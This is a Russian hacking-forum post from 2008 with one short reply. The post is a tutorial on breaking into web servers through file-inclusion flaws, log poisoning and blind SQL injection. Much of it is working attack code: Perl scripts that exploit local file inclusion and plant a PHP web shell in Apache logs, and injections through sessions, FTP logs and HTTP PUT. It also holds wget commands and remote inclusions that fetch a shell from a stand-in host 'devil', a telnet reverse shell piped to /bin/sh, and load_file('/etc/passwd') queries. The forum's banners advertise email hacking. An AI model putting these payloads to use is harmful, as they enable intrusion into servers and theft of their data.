Перезагрузить страницу Веб-уязвимости для получения доступа к системе
Имя
Пароль
Наши статьи Статьи, написанные участниками нашего форума



[5SOCKS.NET - 5000 + соксов онлайн ЕЖЕДНЕВНО!]   [Взломать почту. Качественно и недорого!]   [Реклама на форуме]

Ответ

Опции темы Опции просмотра
Старый 03.11.2008, 16:59   #1
Ломаю за деньги, лс

Сообщений: 503
Группа: Bugsearcher
Регистрация: 01.10.2007
Репутация: ("Гуру") 1696

Веб-уязвимости для получения доступа к системе

1.Введение
Всем привет,приступим сразу к делу,сегодня я вам расскажу о уже всем известных SQL,XSS,а также о малоизвестных LFI, RFI, SSI, ICH.Я не буду банально рассказывать вам теорию миллиард первый раз о ксс и скулях,я покажу вам что с ними можно сделать Поехали.

2.LFI/RFI
2.1.Введение
Данный тип атак хорошо известен многим,он заключается в том,что когда система считывает файлы используются "плохие" запрограммированые страницы,которые делают отстук на следующие файлы,требуя включать команды)
Логично,что при таких отстуках необохдимо не инициализировать переменные,вот так:

Код:
require($file);
require("includes/".$file);
require("languages/".$lang.".php");
require("themes/".$tema."/config.php");
Методов проексплоить его дохрена поэтому сразу привожу примеры:

Type of call:

Код:
require($file);

Exploit:

Код:
http://host/?file=/etc/passwd
Type of call:
Код:
require("includes/".$file);

Exploit:

Код:
http://host/?file=../../../../../etc/passwd
Type of call:
Код:
require("languages/".$lang.".php");
require("themes/".$theme."/config.php");

Exploit:

Код:
http://host/?file=../../../../../etc/passwd%00

Type of call:

Код:
require("languages/".$_COOKIE['lang'].".php");

Exploit:

Код:
javascript:document.cookie = "lan=../../../../../etc/passwd%00";
А вот этот скрипт поможет вам заекспить данную багу через Post или Get запросы:
Код:
*! /usr/bin/perl

* perl script to exploit LFI based in GET and POST requests
* Example: http://site.com/index.php?var=
* URL: http://site.com/index.php
* Variable: var
* Method: POST
*
* by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
print "\tex: perl $0 http://site.com/index.php var GET\n";
print "\tex: perl $0 http://site.com/index.php var POST\n\n";
exit 1;
}

$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

while () {
print "file to edit: ";
chomp($file=<STDIN>);

if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../..".$file."%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../".$file."%00");
}

$res = $ua->request($req);

if ($res->is_success) {
$result = $res->content;
print $result;
}
else { print "Error\n"; }
}
2.2.Выполнение команды удаленно
Этот тип уязвимости возможен для любой системы,где файлы доступны пользователю для чтения,но можно и выполнять некоторые системные команды.
Для этого нам нужно написать в любом файле этот код:
Код:
<? passthru ($ _GET [CMD])?>
СMD-это имя нашей переменной для отправки данных через GET

Теперь ищем место где можно записать данные,это можно осуществить несколькими способами:

2.2.1 Иньекции в PHP кодах в логах Apache
Мы знаем, что Apache сервер сохраняет логи всех операций, в access_log и
error_log.Мы можем играть с зареганами данными и использовать пхп коды.
Например, чтобы поместить в error_log файл достаточно сделать вызов
несуществующей страницы,но отправку кода осуществляем в файл:
Код:
http://host/xxxxxxx = <? passthru (\ $ _GET [CMD])?>
Это добавит строку в error_log,и нам останется загрузить файл таким же способом как мы делали до этого и отправить через цмд команды для исполнения:
[Для просмотра данной ссылки нужно зарегистрироваться] /etc
Код:
http://host/?file=../../../var/apach..._log&cmd=uname -a
Теперь остается узнать когад мы можем трогать логи апача,а зависит это от операционной системи и админа)Один из вариантов заключается в поиске типичных дерикторий где хранятся логи:
Код:
/var/log/apache/
/var/log/httpd/
/usr/local/apache/logs/
......
В общем на серве мы видим:
Код:
/path/host.com/www
/logs
/data
В этом случае мутим путь файла для несуществующей директории:
[Для просмотра данной ссылки нужно зарегистрироваться]


И на экране в этом случае увидим:
Цитата:
Warning: require(xxxx) [function.require]: failed to open stream: No such
file or directory in /var/www/host.com/www/p.php on line 2
Инуитивно понятно,что логи в:
/var/www/host.com/logs

Другой вариант,это в файле httpd.conf посмотреть :
ErrorLog /var/log/apache/error.log

Или вот так в шаровом:
ErrorLog /home/chs/host.com/home/logs/error_log


Но как я писал жто зависит от ОС и версии Апача...

Также можно обнаружить логи апача в проц.таблице:
/proc/{PID}/fd/{FD_ID} (только на некоторых системах так канает)

и юзаем этот скрипт:

Код:
*! /usr/bin/perl

* perl script to serach apache logs path
* Example:
* URL: http://site/index.php
* Variable: file
* Method: POST
*
* by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
print "\tex: perl $0 http://site.com/index.php file GET\n";
print "\tex: perl $0 http://site.com/index.php file POST\n\n";
exit 1;
}

$ua->agent("<? passthru(\$_GET[cmd]) ?>");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/stat%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/stat%00");
}

$res = $ua->request($req);

if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, " ", 0);
$pid = substr($result, 0, $x);

print "Apache PID: ".$pid."\n";
}

if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/status%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/status%00");
}

$res = $ua->request($req);

if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, "FDSize",0)+8;
$fdsize = substr($result, $x, 3);

print "FD_SIZE: ".$fdsize."\n";
}

for ($cont = 0; $cont < $fdsize; $cont++) {
$file = "../../../../proc/".$pid."/fd/".$cont;
open FILE, $file;

while(<FILE>) {
if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
print "FD: ".$cont."\n";
exit;
}
}
}
результат будет примерно таким:
Код:
pepelux:~$ perl proc.pl http://host/index.php page GET
Apache PID: 4191
FD_SIZE: 64
FD: 2
Также можно использовать иньекции через урл,который не возвращает к ошибке:
[Для просмотра данной ссылки нужно зарегистрироваться] = <? passthru (\ $ _GET [CMD])?>


ПОможет нам этот скрипт:
Код:
*! /usr/bin/perl

* perl script to inject a CMD in a web LFI vulnerable
* Example:
* Host: http://host.com
* type: U
*
* by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $type) = @ARGV ;
$code="<? passthru(\$_GET[cmd]) ?>";

unless($ARGV[1]) {
print "Usage: perl $0 <url> [URI|UAG|REF]\n";
print "\tURI: URI\n";
print "\tUAG: User-Agent\n";
print "\tREF: Referer\n\n";
print "\tex: perl $0 http://host.com URI\n";
exit 1;
}

$host = "http://".$host if ($host !~ /^http:/);

if ($type =~ /UAG/) { $ua->agent($code); }
else { $ua->agent("Mozilla/5.0"); }

if ($type =~ /URI/) { $$host .= "/" . $code; }

$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content("x=x");

if ($type =~ /REF/) { $req->referer($code); }

$res = $ua->request($req);
Ввод в error_log для направления в несуществующий урл:
Код:
pepelux:~$ perl cmd.pl http://host.com/blabla URI
В error_log мы видим:
Код:
[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla
Попытка с User-Agent:
Код:
pepelux:~$ perl cmd.pl http://host.com/blabla UAG
В error_log мы видим одно и то же:
Код:
[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla
Попытки со ссылками:
Код:
pepelux:~$ perl cmd.pl http://host.com/blabla REF
В этом случае мы получим результат иньекции:
Код:
[Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd])
?>
Теперь мы собираемся написать в access_log более менее "весомуб инфу"(чтоб не запалили)
Код:
pepelux:~$ perl cmd.pl http://host.com/index.php URI
В этом случае мы получим:
Код:
11.22.33.44 - - [08/Oct/2008:12:57:39  0200] "POST
/index.php/<? passthru($_GET[cmd]) ?> HTTP/1.1" 301 - "-"
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
Firefox/3.0.1"
Попытка с User-Agent:
Код:
pepelux:~$ perl cmd.pl http://host.com/index.php UAG
Иньекция:
Код:
11.22.33.44 - - [08/Oct/2008:13:00:05  0200] "POST
/index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>"
Попытки со ссылками:
Код:
pepelux:~$ perl cmd.pl http://host.com/index.php REF
Мы также получим инъекцию:
Код:
11.22.33.44 - - [08/Oct/2008:13:00:56  0200] "POST
/index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"
2.2.2.Внедрение иньекционных PHP кодов в процессорную таблицу,изображения и сессии

Суть заключается в том,что я отправляю через User-Agent файл [Для просмотра данной ссылки нужно зарегистрироваться] - .Впринципе это все для проц.таблы
Насчет изображений,мутим в файл
Код:
<? passthru ($ _GET [CMD])?>
и осуществеление этого способа будет ЛФИ все для того же [Для просмотра данной ссылки нужно зарегистрироваться] -

Уязвимый код в сессии:
Код:
<?php
$user = $_GET['user'];
session_register("user");
session_start();
?>
Как мы видим, она создает сессию с помощью переменной величины, полученной путем GET
без каких-либо проверок.

Мы можем направить:
Код:
http://host/?user = <? passthru ($ _GET [CMD])?>
И при просмотре Cookies нашего штурмана мы можем видеть, что:
PHPSESSID = b25ca6fea480073cf8eb840b203d343e

Анализ сессии папки мы можем видеть содержимое:
Код:
pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
user

2.2.3.Внедрение кода в другие файлы


Обычно мы не имеем прав для загрузки чего-либо в другие файлы,но у нас же есть ФТП логи:
Код:
pepelux:~$ ftp host.com
220 ProFTPD 1.3.1 Server (Debian) [host.com]
Name (pepelux): <? passthru($_GET[cmd]) ?>
Password:
Если мы посмотрим на /var/log/proftpd/proftpd.log мы увидим,что наш код ввиден:
Код:
Oct 09 21:50:21 host.com proftpd[11190] host.com
([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
from [11.22.33.44] to host.com:21
Если уязвимые сервера используют старую версию Webalizer, мы также можем использовать файл usage_DATE.html для внедрение кода:
Код:
Referer: <? passthru($_GET[cmd]) ?>
В случае, если сервер Apache допускает PUT команды мы также можем загрузить файл
с нашим кодом:
Код:
pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
OPTIONS / HTTP/1.1
Код:
HTTP/1.1 200 OK
Date: Sat, 11 Oct 2008 15:06:05 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: httpd/unix-directory

Connection closed by foreign host.
Иньекция:
Код:
pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
PUT /file.txt HTTP/1.1
Content-Type: text/plain
Content-Length:26

<? passthru($_GET[cmd]) ?>

2.3.Загрузка шелла


Если мы сможем выполнять команды удаленно мы можем попытаться загрузить шелл чтоб иметь больший доступ к системе.
Одним из методов является создание основой шелла.Мы можем загружать его с помощью Wget команды:
Код:
http://host/?file=xxxx&cmd=wget http://devil/shell.txt-O shell.php
Поскольку мы не можем загрузить файл на PHP мы можем замутит в тхт а потом переиминовать)
Мы также можем попытаться сделать обратный Telnet:
Код:
pepelux:~$ nc -vv -l -p 8888
pepelux:~$ nc -vv -l -p 8889

http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889
Если allow_url_include в php.ini, мы можем юзать шелл напрямую.Метод известен:
Загружаем через Гет или Пост шелл:
Код:
http://host/?file=http://devil.com/shell.txt
http://host/?file=http://devil.com/shell.txt%00
3Blind SQL-инъекции
Перейду сразу к практите,так как об этих уязвимостях я уже писал в [Для просмотра данной ссылки нужно зарегистрироваться]

И так,Если стоит разрешение на load_file мы можем прочитать некие системные файлы
/etc/passwd

Пример:
Цитата:
Table: users(id int, user char(25), pass char(25), mail char(255));

Datas:
+---+---------+----------------------------------+--------------+
| 1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
+---+---------+----------------------------------+--------------+
| 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
+---+---------+----------------------------------+--------------+-
Уязвимый код:
Код:
<?php
$iduser = $_GET['$id'];
$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
$row = mysql_fetch_array($result);

echo "User mail is:" . $row["mail"] . "\n";
?>
Мы незнаем колчиство столбцов и полей,но мы знаем,верное значение [Для просмотра данной ссылки нужно зарегистрироваться]
Мы пытаемся изменить результаты запроса в SQL-инъекции:
[Для просмотра данной ссылки нужно зарегистрироваться] ORDER BY 1 ... Ok
[Для просмотра данной ссылки нужно зарегистрироваться] ORDER BY 2 ... Ok
[Для просмотра данной ссылки нужно зарегистрироваться] ORDER BY 3 ... Ok
[Для просмотра данной ссылки нужно зарегистрироваться] ORDER BY 4 ... Ok
[Для просмотра данной ссылки нужно зарегистрироваться] ORDER BY 5 ... Error

Изменяя подзапросы мы подбираем 4 колонки(дело техники):
[Для просмотра данной ссылки нужно зарегистрироваться] UNION SELECT 1,2,3,4

Высылаем соответственно:
[Для просмотра данной ссылки нужно зарегистрироваться] UNION SELECT 1,2,3,4

Мы получаем:

Цитата:
+---+---------+----------------------------------+--------------+
| 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
+---+---------+----------------------------------+--------------+
| 1 | 2 | 3 | 4 |
+---+---------+----------------------------------+--------------+

Поскольку это первый ряд мы увидм:
User mail is: pepelux@host
Если мы ставим ID =- 1 мы будем получать данные:

Отправялем:
[Для просмотра данной ссылки нужно зарегистрироваться] UNION SELECT 1,2,3,4

Получаем:
Цитата:
+---+---------+----------------------------------+--------------+
| 1 | 2 | 3 | 4 |
+---+---------+----------------------------------+--------------+
На экране мы видим User mail is: 4
Мы можем использовать 4-ую колонку для иньекции:
[Для просмотра данной ссылки нужно зарегистрироваться] UNION SELECT 1,2,3,load_file('/etc/passwd');
Вобщем что тут разжоыввать,дело техники,писалось об этом неоднакратно и много
ВОбщем конкретно надоело уже писать,всем удачи)))рекомендую к прочтению:
- [Для просмотра данной ссылки нужно зарегистрироваться]
- [Для просмотра данной ссылки нужно зарегистрироваться]
- [Для просмотра данной ссылки нужно зарегистрироваться]
- [Для просмотра данной ссылки нужно зарегистрироваться]


(с)baltazar

---------======>>XakNet<<=======---------

[Для просмотра данной ссылки нужно зарегистрироваться] - Хек, порно, анекдоты.
baltazar вне форума   Ответить с цитированием
Старый 06.11.2008, 15:38   #2
Гость

Сообщений: n/a
Группа:

Ответ: Веб-уязвимости для получения доступа к системе

зачетно написал.. посидел почитал, гуд.
  Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Мнемонические формулы для запоминания паролей Ex[i]T Новости 0 09.06.2008 07:25
Множественные уязвимости в Apple Macintosh OS X b!atnoy *nix 0 03.02.2008 00:07



Rus by zCarot | Copyright © 2007-2010 XakNet Forum | Powered by vBulletin 3.6.x
Rambler's Top100


Мы не несём никакой ответственности за предоставленные материалы. При копировании информации обратная ссылка обязательна.